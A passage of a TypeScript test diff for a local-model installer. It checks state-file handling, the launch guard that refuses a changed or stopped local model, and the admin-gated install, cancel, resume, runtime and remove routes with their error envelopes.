it('an error is kept only on a failed job, and progress and a step only on a job', () => {
expect(parseLocalModelState(JSON.stringify({ ...PAUSED, error: FAILED.error }))).not.toHaveProperty('error');
const installed = parseLocalModelState(
JSON.stringify({
...INSTALLED,
error: FAILED.error,
step: 'connect',
steps: PAUSED.steps,
progress: PAUSED.progress,
})
);
expect(installed).toEqual(INSTALLED);
});
});
describe('readLocalModelState', () => {
it('is idle when the file is missing, and never throws', async () => {
expect(existsSync(FILE())).toBe(false);
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('is idle for a file that does not parse', async () => {
writeFileSync(FILE(), 'not json');
expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
});
it('reads what is stored', async () => {
writeFileSync(FILE(), JSON.stringify(INSTALLED));
expect(await readLocalModelState()).toEqual(INSTALLED);
});
});
describe('mutateLocalModelState', () => {
it('writes the returned state, stamps updatedAt, and answers with before and after', async () => {
const { updatedAt: _stamp, ...paused } = PAUSED;
const { before, after } = await mutateLocalModelState(() => paused);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(after).toMatchObject(paused);
expect(Number.isNaN(Date.parse(after!.updatedAt!))).toBe(false);
expect(await readLocalModelState()).toEqual(after);
});
it('writes nothing when the change returns undefined: no file appears', async () => {
const { before, after } = await mutateLocalModelState(() => undefined);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(after).toBeUndefined();
expect(existsSync(FILE())).toBe(false);
});
it('the file is mode 0600 and no temp file is left beside it', async () => {
await mutateLocalModelState(() => PAUSED);
expect(statSync(FILE()).mode & 0o777).toBe(0o600);
expect(readdirSync(dirname(FILE())).filter((name) => name.startsWith('local-model.json'))).toEqual([
'local-model.json',
]);
});
it('changes started together run one after the other: none is lost', async () => {
await mutateLocalModelState(() => PAUSED);
const add = (bytes: number) =>
mutateLocalModelState((current) => ({
...current,
progress: {
completedBytes: (current.progress?.completedBytes ?? 0) + bytes,
totalBytes: 23_105_798_956,
},
}));
await Promise.all(Array.from({ length: 10 }, () => add(1_000)));
expect((await readLocalModelState()).progress?.completedBytes).toBe(6_200_000_000 + 10_000);
});
it('a change that throws rejects its own caller and the next one still runs', async () => {
const thrown = mutateLocalModelState(() => {
throw new Error('boom');
});
const next = mutateLocalModelState(() => PAUSED);
await expect(thrown).rejects.toThrow('boom');
expect((await next).after).toMatchObject({ state: 'paused' });
});
it('replaces a file that does not parse: it holds nothing of the person to lose', async () => {
writeFileSync(FILE(), '{broken');
const { before } = await mutateLocalModelState(() => PAUSED);
expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
expect(JSON.parse(readFileSync(FILE(), 'utf8'))).toMatchObject({ schema: 1, state: 'paused' });
});
});
@@ -0,0 +1,304 @@
/**
* @fileoverview The launch guard of the endpoint the local model install manages: both ways a
* session gets onto a custom model endpoint ask the install service first.
*
* - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and
* - `POST /api/quick-start` with `customModel` (a session is created on it)
*
* call `LocalModelService.launchRefusalMessage(endpointId, modelId)` once the endpoint is
* found and before anything is written, restarted or created. A sentence back is the answer
* (`OPERATION_FAILED`); `undefined` lets the launch go on exactly as before. That is how a
* model whose digest is no longer the one stored at install time is not launched, and how
* nothing is launched against a port our runtime is not on.
*
* The service is replaced by a fake for most cases, and is the REAL one (over the real state
* file, with no runtime running) for the cases that pin the default wiring.
*
* Port: N/A (app.inject, no real port needed)
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import Fastify, { type FastifyInstance } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import { rmSync, writeFileSync } from 'node:fs';
import { rm } from 'node:fs/promises';
import { join } from 'node:path';
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
import { createRouteTestHarness } from './_route-test-utils.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
import { dataPath, getDataDir } from '../../src/config/instance.js';
import { CASES_DIR } from '../../src/web/route-helpers.js';
import { Session } from '../../src/session.js';
import { writeCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
import { webviewFetch } from '../../src/web/webview-egress.js';
import type { LocalModelService } from '../../src/local-model/install-job.js';
vi.mock('../../src/web/webview-egress.js', async () => {
const actual = await vi.importActual<typeof import('../../src/web/webview-egress.js')>(
'../../src/web/webview-egress.js'
);
return { ...actual, webviewFetch: vi.fn() };
});
const fetchMock = vi.mocked(webviewFetch);
// See test/routes/quick-start-custom-model.test.ts: the CLI availability gate runs before the
// code under test and would refuse every launch on a machine without the binary.
vi.mock('../../src/utils/cli-launcher.js', async () => {
const actual = await vi.importActual<typeof import('../../src/utils/cli-launcher.js')>(
'../../src/utils/cli-launcher.js'
);
return { ...actual, resolveCliLaunchError: vi.fn().mockResolvedValue(null) };
});
/** The service the session routes get: a fake by default, the real one where a test says so. */
const guard = vi.hoisted(() => ({
launchRefusalMessage: vi.fn<(endpointId: string, modelId: string) => Promise<string | undefined>>(),
real: undefined as LocalModelService | undefined,
}));
vi.mock('../../src/local-model/install-job.js', async () => {
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
'../../src/local-model/install-job.js'
);
return {
...actual,
getLocalModelService: () => guard.real ?? { launchRefusalMessage: guard.launchRefusalMessage },
};
});
const MANAGED: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
const OTHER: CustomModelHost = { id: 'ep1', label: 'llama.cpp box', baseUrl: 'http://192.168.1.50:8080', apiKey: 'k' };
const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
const STATE = () => dataPath('local-model.json');
/** The state file of an installed model whose connection is the managed record. */
function writeInstalledState(): void {
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
}
async function realService(): Promise<LocalModelService> {
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
'../../src/local-model/install-job.js'
);
// The real service with its real state file. No runtime was ever started by it.
return actual.createLocalModelService();
}
beforeEach(async () => {
guard.launchRefusalMessage.mockReset();
guard.launchRefusalMessage.mockResolvedValue(undefined);
guard.real = undefined;
fetchMock.mockReset();
fetchMock.mockResolvedValue(new Response('not found', { status: 404 }));
await writeCustomModelHosts(getDataDir(), [MANAGED, OTHER]);
});
afterEach(async () => {
rmSync(STATE(), { force: true });
await rm(join(getDataDir(), 'custom-model-hosts.json'), { force: true });
await rm(join(getDataDir(), 'custom-model-configs'), { recursive: true, force: true });
});
describe('POST /api/sessions/:id/custom-model on the managed endpoint', () => {
async function setup() {
const harness = await createRouteTestHarness(registerSessionRoutes);
const session = harness.ctx.sessions.get('test-session-1')!;
session.mode = 'claude';
return { ...harness, session };
}
const apply = (app: FastifyInstance, payload: Record<string, unknown>) =>
app.inject({ method: 'POST', url: '/api/sessions/test-session-1/custom-model', payload });
it('asks the install service with the endpoint and the model, before anything is applied', async () => {
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).toHaveBeenCalledTimes(1);
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
// No refusal: the model is applied and the CLI restarted, as for any endpoint.
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
expect(session.restartCli).toHaveBeenCalledTimes(1);
});
it('a changed model refuses the switch in one plain sentence, and nothing is written or restarted', async () => {
const { app, session } = await setup();
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
expect(session.setCustomModel).not.toHaveBeenCalled();
expect(session.restartCli).not.toHaveBeenCalled();
// The runtime was not even asked what it has loaded.
expect(fetchMock).not.toHaveBeenCalled();
});
it('every other endpoint is asked about too, and the service lets it through', async () => {
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('ep1', 'qwen3');
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
it('clearing a selection is never refused: it is the way OFF the endpoint', async () => {
const { app, session } = await setup();
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
session.setCustomModel.mockReturnValue({ previousConfigDir: undefined });
const res = await apply(app, { clear: true });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
expect(session.setCustomModel).toHaveBeenCalledWith(undefined);
});
it('an endpoint that does not exist is still a 404 of its own, asked about nothing', async () => {
const { app } = await setup();
const res = await apply(app, { endpointId: 'nope', modelId: 'x' });
expect(res.json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
});
describe('with the real install service', () => {
it('an installed model whose runtime is not running is not switched to', async () => {
writeInstalledState();
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.json()).toEqual({
success: false,
error: 'The model on this Mac is not running. Start it first.',
errorCode: 'OPERATION_FAILED',
});
expect(session.setCustomModel).not.toHaveBeenCalled();
});
it('a record with the reserved id that nobody installed is an endpoint like any other', async () => {
// No state file: this feature wrote nothing, so there is nothing of ours to guard.
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.statusCode).toBe(200);
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
it('any other endpoint is untouched by an installed model', async () => {
writeInstalledState();
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
expect(res.statusCode).toBe(200);
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
});
});
describe('POST /api/quick-start with customModel on the managed endpoint', () => {
let app: FastifyInstance;
let ctx: MockRouteContext;
const quickStart = (payload: Record<string, unknown>) =>
app.inject({ method: 'POST', url: '/api/quick-start', payload });
beforeEach(async () => {
vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined);
vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined);
vi.spyOn(Session.prototype, 'restartCli').mockResolvedValue(true);
app = Fastify({ logger: false });
await app.register(fastifyCookie);
ctx = createMockRouteContext();
registerSessionRoutes(app, ctx);
installRouteErrorHandler(app);
await app.ready();
});
afterEach(async () => {
await app.close();
vi.restoreAllMocks();
safeRmHomeTree(CASES_DIR);
});
it('asks the install service, and with no refusal the session starts on the local model', async () => {
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-ok',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.statusCode).toBe(200);
expect(res.json().sessionId).toBeTruthy();
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
expect(ctx.sessions.size).toBe(before + 1);
const session = ctx.sessions.get(res.json().sessionId) as unknown as Session;
expect(session.customModel).toMatchObject({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
});
it('a changed model refuses the launch in one plain sentence, and no session is created', async () => {
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-changed',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
expect(ctx.sessions.size).toBe(before);
expect(Session.prototype.startInteractive).not.toHaveBeenCalled();
expect(fetchMock).not.toHaveBeenCalled();
});
it('a launch without a custom model never asks', async () => {
const res = await quickStart({ caseName: 'lm-plain', mode: 'claude' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
});
describe('with the real install service', () => {
it('an installed model whose runtime is not running is not launched', async () => {
writeInstalledState();
guard.real = await realService();
const before = ctx.sessions.size;
const res = await quickStart({
caseName: 'lm-stopped',
mode: 'claude',
customModel: { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' },
});
expect(res.json()).toEqual({
success: false,
error: 'The model on this Mac is not running. Start it first.',
errorCode: 'OPERATION_FAILED',
});
expect(ctx.sessions.size).toBe(before);
});
it('a launch on any other endpoint goes on as before', async () => {
writeInstalledState();
guard.real = await realService();
const res = await quickStart({
caseName: 'lm-other',
mode: 'claude',
customModel: { endpointId: 'ep1', modelId: 'qwen3' },
});
expect(res.statusCode).toBe(200);
expect(res.json().sessionId).toBeTruthy();
expect(res.json().success).not.toBe(false);
});
});
});
+548 -25
View File
@@ -1,12 +1,17 @@
/**
* @fileoverview GET /api/local-model: what this Mac is and which local model fits it.
* @fileoverview The local model routes: GET /api/local-model (what this Mac is and which local
* model fits it, plus where the install stands) and the verbs that install, cancel, resume,
* start, stop and remove.
*
* The route only composes four injected functions (the hardware probe, the catalogue getter,
* the harness facts and the pure `recommend()`), so every test passes its own and no test
* depends on what those modules compute. What is pinned here is the route's own contract:
* the envelope, the admin gate in multi-user mode, that an unsupported platform and a failed
* probe are answers (200) and never a 500, what does answer 500, and that a request writes
* nothing.
* The routes only compose injected functions (the hardware probe, the catalogue getter, the
* harness facts, the pure `recommend()` and the install service), so every test passes its own
* and no test depends on what those modules compute. What is pinned here is the routes' own
* contract: the envelope, the admin gate on EVERY verb in multi-user mode, that an unsupported
* platform and a failed probe are answers (200) and never a 500, what does answer 500, how a
* verb's refusal becomes a 400 or a 409 with its conflict, that DELETE hands the live sessions
* to the service, and that a GET with nothing installed writes nothing.
*
* The install service itself is tested in test/local-model-install-service.test.ts.
*
* Port: N/A (app.inject()).
*/
@@ -24,12 +29,22 @@ import {
} from '../../src/web/routes/local-model-routes.js';
import { buildHarnessFacts } from '../../src/local-model/harness-facts.js';
import { formatGb, memClassGb } from '../../src/local-model/format.js';
import { getDataDir } from '../../src/config/instance.js';
import {
createLocalModelService,
getLocalModelService,
type LocalModelService,
type LocalModelVerbResult,
} from '../../src/local-model/install-job.js';
import { CustomModelHostsWriteRefusedError } from '../../src/custom-model-hosts-writer.js';
import { SettingsWriteRefusedError } from '../../src/web/settings-writer.js';
import { dataPath, getDataDir } from '../../src/config/instance.js';
import {
LOCAL_MODEL_INSTALL_LABELS,
LOCAL_MODEL_LABELS,
type HardwareFacts,
type HarnessFact,
type LocalModelCatalog,
type LocalModelInstallView,
type Recommendation,
} from '../../src/types.js';
@@ -37,10 +52,6 @@ const CATALOG: LocalModelCatalog = {
schema: 1,
updated: '2026-11-06',
minMacosMajor: 14,
promptCacheTiers: [
{ minMemGb: 0, bytes: 512 * 1024 * 1024 },
{ minMemGb: 32, bytes: 2 * 1024 ** 3 },
],
models: [],
harnesses: [
{ cli: 'opencode', minContext: 65536, rank: 3 },
@@ -111,6 +122,10 @@ const OK: Recommendation = {
speed: 'unknown',
speedLabel: LOCAL_MODEL_LABELS.speedUnknown,
tested: false,
needSource: 'estimated',
harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }],
installBytes: 17740000000,
installGb: '17.7',
},
alternatives: [],
budgetBytes: 37580963840,
@@ -133,12 +148,58 @@ const FACTS: HarnessFact[] = [
{ cli: 'opencode', label: 'OpenCode', installed: true, installable: false, acceptsModelId: () => true },
];
/** The install view of a Mac with nothing installed, as the service would answer it. */
const IDLE_VIEW: LocalModelInstallView = {
state: 'idle',
running: false,
developerTools: 'missing',
runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' },
folder: '/Users/me/.codeman/local-model',
actions: ['install'],
};
const INSTALLING_VIEW: LocalModelInstallView = {
...IDLE_VIEW,
state: 'installing',
step: 'runtime',
steps: ['runtime', 'model', 'verify', 'agent', 'connect'],
model: { id: 'qwen3.8:27b', label: 'Qwen3.8 27B' },
cli: 'opencode',
cliLabel: 'OpenCode',
context: 131072,
actions: ['cancel'],
};
const OK_RESULT: LocalModelVerbResult = { ok: true, view: INSTALLING_VIEW };
type ServiceMock = { [K in keyof LocalModelService]: Mock<LocalModelService[K]> };
/** An install service whose every verb answers `OK_RESULT` and whose view is idle. */
function fakeService(): ServiceMock {
return {
view: vi.fn(async () => IDLE_VIEW),
launchRefusal: vi.fn(async () => undefined),
launchRefusalMessage: vi.fn(async () => undefined),
recommendOptions: vi.fn(async () => ({ runtimeDownloadBytes: 185971671 })),
install: vi.fn(async () => OK_RESULT),
cancel: vi.fn(async () => OK_RESULT),
resume: vi.fn(async () => OK_RESULT),
runtime: vi.fn(async () => OK_RESULT),
remove: vi.fn(async () => OK_RESULT),
boot: vi.fn(async () => {}),
shutdown: vi.fn(async () => {}),
onRuntimeChange: vi.fn(),
idle: vi.fn(async () => {}),
};
}
interface Fakes {
deps: LocalModelRouteDeps;
readHardware: Mock<LocalModelRouteDeps['readHardware']>;
getCatalog: Mock<LocalModelRouteDeps['getCatalog']>;
buildHarnessFacts: Mock<LocalModelRouteDeps['buildHarnessFacts']>;
recommend: Mock<LocalModelRouteDeps['recommend']>;
service: ServiceMock;
}
function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = OK): Fakes {
@@ -146,17 +207,28 @@ function fakes(hardware: HardwareFacts = MAC, recommendation: Recommendation = O
const getCatalog = vi.fn<LocalModelRouteDeps['getCatalog']>(() => CATALOG);
const buildFacts = vi.fn<LocalModelRouteDeps['buildHarnessFacts']>(async () => FACTS);
const recommend = vi.fn<LocalModelRouteDeps['recommend']>(() => recommendation);
const service = fakeService();
return {
deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend },
deps: { readHardware, getCatalog, buildHarnessFacts: buildFacts, recommend, service: () => service },
readHardware,
getCatalog,
buildHarnessFacts: buildFacts,
recommend,
service,
};
}
const harness = (deps: Partial<LocalModelRouteDeps>, authUser?: { username: string; role: 'admin' | 'user' }) =>
createRouteTestHarness((app) => registerLocalModelRoutes(app, deps), authUser ? { authUser } : undefined);
type AuthUser = { username: string; role: 'admin' | 'user' };
/** The live sessions the DELETE looks at: a name, and for some the endpoint their model comes from. */
type SessionLike = { name: string; customModel?: { endpointId: string } };
const harness = (deps: Partial<LocalModelRouteDeps>, authUser?: AuthUser, sessions: SessionLike[] = []) =>
createRouteTestHarness(
(app) =>
registerLocalModelRoutes(app, { sessions: new Map(sessions.map((session, i) => [`s${i}`, session])) }, deps),
authUser ? { authUser } : undefined
);
const get = async (deps: Partial<LocalModelRouteDeps>, authUser?: { username: string; role: 'admin' | 'user' }) => {
const { app } = await harness(deps, authUser);
@@ -191,10 +263,30 @@ describe('GET /api/local-model', () => {
expect(res.statusCode).toBe(200);
expect(res.json()).toEqual({
success: true,
data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06' },
data: { hardware: MAC, recommendation: OK, catalogUpdated: '2026-11-06', install: IDLE_VIEW },
});
});
it('recommends with what the install service knows: the measured budget and the runtime still to download', async () => {
const f = fakes();
f.service.recommendOptions.mockResolvedValue({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 });
await get(f.deps);
expect(f.service.recommendOptions).toHaveBeenCalledTimes(1);
expect(f.recommend.mock.calls[0][3]).toEqual({ measuredTotalBytes: 40_157_944_217, runtimeDownloadBytes: 0 });
});
it('carries the install view of the service as it is, in every state', async () => {
const f = fakes();
f.service.view.mockResolvedValue(INSTALLING_VIEW);
const res = await get(f.deps);
expect(res.json().data.install).toEqual(INSTALLING_VIEW);
expect(f.service.view).toHaveBeenCalledTimes(1);
// Looking is not doing: no verb of the service was called.
for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) {
expect(f.service[verb]).not.toHaveBeenCalled();
}
});
it('hands recommend() exactly what the probe, the catalogue and the harness facts answered', async () => {
const f = fakes();
await get(f.deps);
@@ -211,7 +303,7 @@ describe('GET /api/local-model', () => {
it('sends the payload as the modules built it: no size is reformatted and no function leaks', async () => {
const res = await get(fakes().deps);
const { data } = res.json();
expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'recommendation']);
expect(Object.keys(data).sort()).toEqual(['catalogUpdated', 'hardware', 'install', 'recommendation']);
expect(data.hardware.memGb).toBe('51.5');
expect(data.hardware.freeDiskGb).toBe('912');
expect(data.recommendation.pick.needGb).toBe('29.6');
@@ -221,10 +313,13 @@ describe('GET /api/local-model', () => {
expect(res.body).not.toContain('installable');
});
it('registers a GET and nothing else: this stage has no route that changes anything', async () => {
const { app } = await harness(fakes().deps);
expect((await app.inject({ method: 'POST', url: '/api/local-model', payload: {} })).statusCode).toBe(404);
expect((await app.inject({ method: 'DELETE', url: '/api/local-model' })).statusCode).toBe(404);
it('is the only thing a GET does: there is no POST, PUT or PATCH on the same path', async () => {
const f = fakes();
const { app } = await harness(f.deps);
for (const method of ['POST', 'PUT', 'PATCH'] as const) {
expect((await app.inject({ method, url: '/api/local-model', payload: {} })).statusCode).toBe(404);
}
expect(f.service.install).not.toHaveBeenCalled();
});
describe('multi-user mode', () => {
@@ -239,6 +334,8 @@ describe('GET /api/local-model', () => {
expect(f.getCatalog).not.toHaveBeenCalled();
expect(f.buildHarnessFacts).not.toHaveBeenCalled();
expect(f.recommend).not.toHaveBeenCalled();
expect(f.service.view).not.toHaveBeenCalled();
expect(f.service.recommendOptions).not.toHaveBeenCalled();
});
it('answers an admin', async () => {
@@ -364,9 +461,16 @@ describe('GET /api/local-model', () => {
describe('read-only', () => {
it('writes nothing: the home directory and the data dir are byte for byte what they were', async () => {
// The real harness facts (they read the CLI registry and run the availability probe),
// the route's own composition, and a hardware answer and a recommendation of the test's.
// the REAL install service over the real state file (nothing is installed, so its view
// is idle), the route's own composition, and a hardware answer and a recommendation of
// the test's.
const f = fakes();
const { app } = await harness({ ...f.deps, buildHarnessFacts: (catalog) => buildHarnessFacts(catalog) });
const service = createLocalModelService();
const { app } = await harness({
...f.deps,
buildHarnessFacts: (catalog) => buildHarnessFacts(catalog),
service: () => service,
});
const home = homedir();
const before = snapshot(home);
@@ -375,6 +479,7 @@ describe('GET /api/local-model', () => {
for (let i = 0; i < 3; i++) {
const res = await app.inject({ method: 'GET', url: '/api/local-model' });
expect(res.statusCode).toBe(200);
expect(res.json().data.install).toMatchObject({ state: 'idle', running: false, actions: ['install'] });
}
// A refused request and a failing one write nothing either.
f.recommend.mockImplementationOnce(() => {
@@ -405,8 +510,28 @@ describe('GET /api/local-model', () => {
const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8');
const barrel = readFileSync(join(root, 'src/web/routes/index.ts'), 'utf8');
expect(barrel).toContain("export { registerLocalModelRoutes } from './local-model-routes.js';");
// No second argument: the server runs the real probe, catalogue, facts and recommend().
expect(server).toContain('registerLocalModelRoutes(this.app);');
// The route context for the live sessions, and no third argument: the server runs the
// real probe, catalogue, facts, recommend() and install service.
expect(server).toContain('registerLocalModelRoutes(this.app, ctx);');
});
it('the server starts the install service at boot and stops it at shutdown, outside tests only', () => {
const root = fileURLToPath(new URL('../../', import.meta.url));
const server = readFileSync(join(root, 'src/web/server.ts'), 'utf8');
const boot = server.indexOf('void getLocalModelService().boot();');
const shutdown = server.indexOf('void getLocalModelService().shutdown();');
expect(boot).toBeGreaterThan(-1);
expect(shutdown).toBeGreaterThan(-1);
// Each sits in a block that tests never enter: nothing of the runtime runs under vitest.
for (const at of [boot, shutdown]) {
const before = server.slice(0, at).trimEnd();
expect(before.endsWith('if (!this.testMode) {')).toBe(true);
}
// Shutdown stands beside the other supervised child's stop.
const deepseek = server.indexOf('void stopDeepSeekWeb();');
expect(deepseek).toBeGreaterThan(-1);
expect(shutdown).toBeGreaterThan(deepseek);
expect(shutdown - deepseek).toBeLessThan(700);
});
it('the default dependencies are the real modules, read at call time', () => {
@@ -415,8 +540,406 @@ describe('GET /api/local-model', () => {
'getCatalog',
'readHardware',
'recommend',
'service',
]);
for (const dep of Object.values(defaultLocalModelRouteDeps)) expect(typeof dep).toBe('function');
// The one install service of the process, the same object every time.
expect(defaultLocalModelRouteDeps.service()).toBe(getLocalModelService());
});
});
});
describe('the install verbs', () => {
const INSTALL_BODY = { modelId: 'qwen3.8:27b', cli: 'opencode', context: 131072, acknowledgedBytes: 17926000000 };
/** Every verb as a request, with a body the route accepts. */
const VERBS = [
{ name: 'install', method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY },
{ name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined },
{ name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} },
{ name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } },
{ name: 'remove', method: 'DELETE', url: '/api/local-model', payload: { removeModel: true } },
] as const;
const call = (app: Awaited<ReturnType<typeof harness>>['app'], verb: (typeof VERBS)[number]) =>
app.inject({ method: verb.method, url: verb.url, ...(verb.payload ? { payload: verb.payload } : {}) });
describe.each(VERBS)('$method $url', (verb) => {
it('answers the view after the verb in the success envelope', async () => {
const f = fakes();
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(200);
expect(res.json()).toEqual({ success: true, data: INSTALLING_VIEW });
expect(f.service[verb.name]).toHaveBeenCalledTimes(1);
});
it('multi-user mode: a non-admin is refused with 403 before the service is asked anything', async () => {
process.env.CODEMAN_MULTIUSER = '1';
const f = fakes();
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
const res = await call(app, verb);
expect(res.statusCode).toBe(403);
expect(res.json()).toMatchObject({ success: false, errorCode: 'FORBIDDEN' });
for (const name of ['install', 'cancel', 'resume', 'runtime', 'remove', 'view', 'recommendOptions'] as const) {
expect(f.service[name]).not.toHaveBeenCalled();
}
});
it('multi-user mode: the gate comes before the body is even parsed', async () => {
process.env.CODEMAN_MULTIUSER = '1';
const f = fakes();
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
const res = await app.inject({ method: verb.method, url: verb.url, payload: { nonsense: true } });
expect(res.statusCode).toBe(403);
});
it('multi-user mode: an admin is served', async () => {
process.env.CODEMAN_MULTIUSER = '1';
const f = fakes();
const { app } = await harness(f.deps, { username: 'root', role: 'admin' });
expect((await call(app, verb)).statusCode).toBe(200);
expect(f.service[verb.name]).toHaveBeenCalledTimes(1);
});
it('is not gated while multi-user mode is off', async () => {
const f = fakes();
const { app } = await harness(f.deps, { username: 'bob', role: 'user' });
expect((await call(app, verb)).statusCode).toBe(200);
});
it('a 409 of the service is the error envelope plus the conflict as data', async () => {
const f = fakes();
f.service[verb.name].mockResolvedValue({
ok: false,
status: 409,
conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } },
});
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({
success: false,
error: 'An install is already running.',
errorCode: 'CONFLICT',
data: { reason: 'job-running', message: { text: 'An install is already running.' } },
});
});
it('an exception of the service is a 500 in the envelope', async () => {
const f = fakes();
f.service[verb.name].mockRejectedValue(new Error('disk on fire'));
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(500);
expect(res.json()).toMatchObject({ success: false, errorCode: 'INTERNAL_ERROR' });
expect(res.json().error).toContain('disk on fire');
});
it.each([
['the endpoint store', new CustomModelHostsWriteRefusedError('custom-model-hosts.json is not a valid JSON list')],
['the settings file', new SettingsWriteRefusedError('settings.json is not a valid JSON object')],
])('a refused write of %s is a 409 with the fix and no conflict data', async (_label, error) => {
const f = fakes();
f.service[verb.name].mockRejectedValue(error);
const { app } = await harness(f.deps);
const res = await call(app, verb);
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({ success: false, error: error.message, errorCode: 'CONFLICT' });
});
});
describe('POST /api/local-model/install', () => {
it('hands the service the four choices and who asked', async () => {
const f = fakes();
const { app } = await harness(f.deps, { username: 'alice', role: 'admin' });
await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' });
});
it('a row the server does not offer is a 400 with the service own sentence', async () => {
const f = fakes();
f.service.install.mockResolvedValue({
ok: false,
status: 400,
message: 'This model at this context is not offered for this Mac right now.',
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
expect(res.statusCode).toBe(400);
expect(res.json()).toEqual({
success: false,
error: 'This model at this context is not offered for this Mac right now.',
errorCode: 'INVALID_INPUT',
});
});
it('consent bound to the size: the 409 carries the server own total, so the window can ask again', async () => {
const f = fakes();
f.service.install.mockResolvedValue({
ok: false,
status: 409,
conflict: {
reason: 'size-changed',
message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSizeChanged, vars: { size: '23.3' } },
expectedBytes: 23291770627,
expectedGb: '23.3',
},
});
const { app } = await harness(f.deps);
const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY });
expect(res.statusCode).toBe(409);
expect(res.json()).toEqual({
success: false,
error: 'The download is 23.3 GB now. Check the sizes and confirm again.',
